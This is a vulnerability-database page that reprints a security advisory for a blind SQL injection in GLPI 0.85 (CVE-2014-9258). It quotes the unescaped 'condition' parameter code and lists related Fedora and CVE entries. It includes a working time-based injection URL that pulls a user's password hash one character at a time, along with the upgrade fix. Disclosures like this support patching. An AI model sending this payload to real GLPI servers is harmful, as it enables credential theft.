| Reporter | Title | Published | Views | Family All 29 |
|---|---|---|---|---|
| GLPI 0.85 - Blind SQL Injection Vulnerability | 18 Dec 201400:00 | – | zdt | |
| CVE-2014-9258 | 19 Dec 201415:00 | – | cve | |
| CVE-2014-9258 | 19 Dec 201415:00 | – | cvelist | |
| EUVD-2014-9083 | 7 Oct 202500:30 | – | euvd | |
| GLPI 0.85 - Blind SQL Injection | 15 Dec 201400:00 | – | exploitpack | |
| [SECURITY] Fedora 21 Update: glpi-0.84.8-4.fc21 | 5 Apr 201514:34 | – | fedora | |
| [SECURITY] Fedora 20 Update: glpi-0.84.8-3.fc20 | 1 Jan 201508:54 | – | fedora | |
| [SECURITY] Fedora 19 Update: glpi-0.83.9.1-5.fc19 | 1 Jan 201508:58 | – | fedora | |
| [SECURITY] Fedora 21 Update: glpi-0.84.8-3.fc21 | 1 Jan 201508:56 | – | fedora | |
| [SECURITY] Fedora 20 Update: glpi-0.84.8-4.fc20 | 5 Apr 201514:30 | – | fedora |
# Exploit Title: GLPI 0.85 Blind SQL Injection
# Date: 28-11-2014
# Exploit Author: Kacper Szurek - http://security.szurek.pl/ http://twitter.com/KacperSzurek
# Software Link: https://forge.indepnet.net/attachments/download/1899/glpi-0.85.tar.gz
# CVE: CVE-2014-9258
# Category: webapps
1. Description
$_GET['condition'] is not escaped correctly.
File: ajax\getDropdownValue.php
if (isset($_GET['condition']) && !empty($_GET['condition'])) {
$_GET['condition'] = rawurldecode(stripslashes($_GET['condition']));
}
if (isset($_GET['condition']) && ($_GET['condition'] != '')) {
$where .= " AND ".$_GET['condition']." ";
}
$query = "SELECT `$table`.* $addselect
FROM `$table`
$addjoin
$where
ORDER BY $add_order `$table`.`completename`
$LIMIT";
if ($result = $DB->query($query)) {
}
http://security.szurek.pl/glpi-085-blind-sql-injection.html
2. Proof of Concept
http://glpi-url/ajax/getDropdownValue.php?itemtype=group&condition=1 AND id = (SELECT IF(substr(password,1,1) = CHAR(36), SLEEP(5), 0) FROM `glpi_users` WHERE ID = 2)
3. Solution:
Update to version 0.85.1
http://www.glpi-project.org/spip.php?page=annonce&id_breve=334&lang=en
https://forge.indepnet.net/attachments/download/1928/glpi-0.85.1.tar.gzData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation